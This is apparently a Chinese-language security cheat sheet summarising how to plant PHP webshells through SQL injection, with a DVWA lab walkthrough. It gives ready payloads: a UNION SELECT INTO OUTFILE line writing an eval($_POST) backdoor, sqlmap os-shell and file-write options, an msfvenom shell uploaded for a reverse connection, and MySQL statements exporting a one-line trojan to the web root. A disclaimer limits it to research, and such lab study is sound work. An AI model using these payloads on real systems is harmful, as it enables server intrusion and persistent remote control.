SQL注入写WebShell方式小结
------------------------------------------------------
免责声明:仅可用于研究学习使用,切勿用于非法犯罪活动,未经双方同意攻击目标是非法的.
---------------------------------------------------------------
传统的SQL语句写shell
通过SQL注入select into outfile实现,如:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
sqlmap写shell
前提都是需要对目标目录具有写权限。
--os-cmd="net user"
交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径
下创建文件返回结果,然后再自动删除。
--os-shell
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。
注意:关闭sqlmap文件就会被删除。
***示例:DVWA靶场***
以admin:password登录dvwa靶场,单击DVWA Security并将网站安全级别设置为低,从漏洞列表中选择SQL Injection进行攻击。 在文本框中键入用户ID:1 ,设置浏览器代理以使burp套件正常工作。
要捕获dvwa的cookie,请单击代理标记,然后单击以启用按钮,返回到dvwa,然后单击搜索。burp suite将在获取的数据下提供cookie和referrer,稍后将在sqlmap命令中使用。
在下面的Sqlmap中将分析用于从目标进行连接的url,然后对给定的cookie使用sql查询来获取数据库的所有名称。
数据库成功被列出来, 选择dvwa上传php后门。
现在输入以下命令来运行sqlmap来访问Web服务器的os-shell(dvwa)
它会试图生成一个后门; 想在目标pc中创建PHP后门因此为PHP有效负载输入4 ,再键入4用于强力搜索以用作可写目录来上传它。
浏览器访问http://192.168.0.102/tmpunais.php上传后门
这而上传文件我们用到前面msfvenom生成的恶意文件,点击浏览 选择你的shell.php文件然后点击上传 。
shell.php文件已上传,要在目标pc上执行后门,请在浏览器上运行URL: 192.168.0.102/shell.php ,您将收到与multi / handler的反向连接
成功得到会话
*注:测试时发现需要最新版本的sqlmap,但本人并未执行成功。。。
--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/1.php"
*注意需要最高权限。
MySQL写一句话木马
MySQL写木马,通常可以通过phpmyadmin来实现。
前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。
1、创建一个表
CREATE TABLE a (cmd text NOT NULL)
2、插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');
3、导出一句话
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';
4、删除表
Drop TABLE IF EXISTS a;
【参考链接:】
https://cloud.tencent.com/developer/news/305392
https://blog.csdn.net/SKI_12/article/details/84921289